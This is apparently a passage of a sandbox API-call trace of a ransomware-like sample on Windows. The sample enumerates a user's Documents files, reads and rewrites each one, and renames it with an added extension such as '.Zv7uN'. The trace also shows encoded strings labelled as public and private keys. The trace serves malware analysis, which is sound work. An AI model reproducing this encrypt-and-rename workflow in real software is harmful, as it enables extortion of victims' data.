lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.247] GetCurrentThreadId () returned 0xa30 [0088.247] GetCurrentThreadId () returned 0xa30 [0088.247] GetCurrentThreadId () returned 0xa30 [0088.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j5qVGDC 3 7fjtI.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j5qvgdc 3 7fjti.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.247] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.247] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.248] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x88bc [0088.248] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.248] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x88bc, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x88bc, lpOverlapped=0x0) returned 1 [0088.250] CloseHandle (hObject=0x124) returned 1 [0088.251] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j5qVGDC 3 7fjtI.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j5qvgdc 3 7fjti.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.253] WriteFile (in: hFile=0x124, lpBuffer=0x1efa040*, nNumberOfBytesToWrite=0x88bc, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efa040*, lpNumberOfBytesWritten=0x18f978*=0x88bc, lpOverlapped=0x0) returned 1 [0088.256] CloseHandle (hObject=0x124) returned 1 [0088.258] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j5qVGDC 3 7fjtI.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j5qvgdc 3 7fjti.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j5qVGDC 3 7fjtI.docx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j5qvgdc 3 7fjti.docx.zv7un")) returned 1 [0088.259] GetCurrentThreadId () returned 0xa30 [0088.259] GetCurrentThreadId () returned 0xa30 [0088.259] GetCurrentThreadId () returned 0xa30 [0088.259] GetCurrentThreadId () returned 0xa30 [0088.259] GetCurrentThreadId () returned 0xa30 [0088.259] GetCurrentThreadId () returned 0xa30 [0088.259] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fd17f0, ftCreationTime.dwHighDateTime=0x1d58872, ftLastAccessTime.dwLowDateTime=0x7c5c0410, ftLastAccessTime.dwHighDateTime=0x1d5e0e7, ftLastWriteTime.dwLowDateTime=0x7c5c0410, ftLastWriteTime.dwHighDateTime=0x1d5e0e7, nFileSizeHigh=0x0, nFileSizeLow=0x147ed, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="J9WQ72qd-NL9SUaxFK.xlsx", cAlternateFileName="J9WQ72~1.XLS")) returned 1 [0088.259] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.259] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.259] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J9WQ72qd-NL9SUaxFK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j9wq72qd-nl9suaxfk.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fd17f0, ftCreationTime.dwHighDateTime=0x1d58872, ftLastAccessTime.dwLowDateTime=0x7c5c0410, ftLastAccessTime.dwHighDateTime=0x1d5e0e7, ftLastWriteTime.dwLowDateTime=0x7c5c0410, ftLastWriteTime.dwHighDateTime=0x1d5e0e7, nFileSizeHigh=0x0, nFileSizeLow=0x147ed)) returned 1 [0088.259] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J9WQ72qd-NL9SUaxFK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j9wq72qd-nl9suaxfk.xlsx")) returned 0x20 [0088.259] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J9WQ72qd-NL9SUaxFK.xlsx", dwFileAttributes=0x80) returned 1 [0088.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.263] GetCurrentThreadId () returned 0xa30 [0088.263] GetCurrentThreadId () returned 0xa30 [0088.263] GetCurrentThreadId () returned 0xa30 [0088.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.264] GetCurrentThreadId () returned 0xa30 [0088.264] GetCurrentThreadId () returned 0xa30 [0088.264] GetCurrentThreadId () returned 0xa30 [0088.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\J9WQ72qd-NL9SUaxFK.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j9wq72qd-nl9suaxfk.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.264] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.264] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, 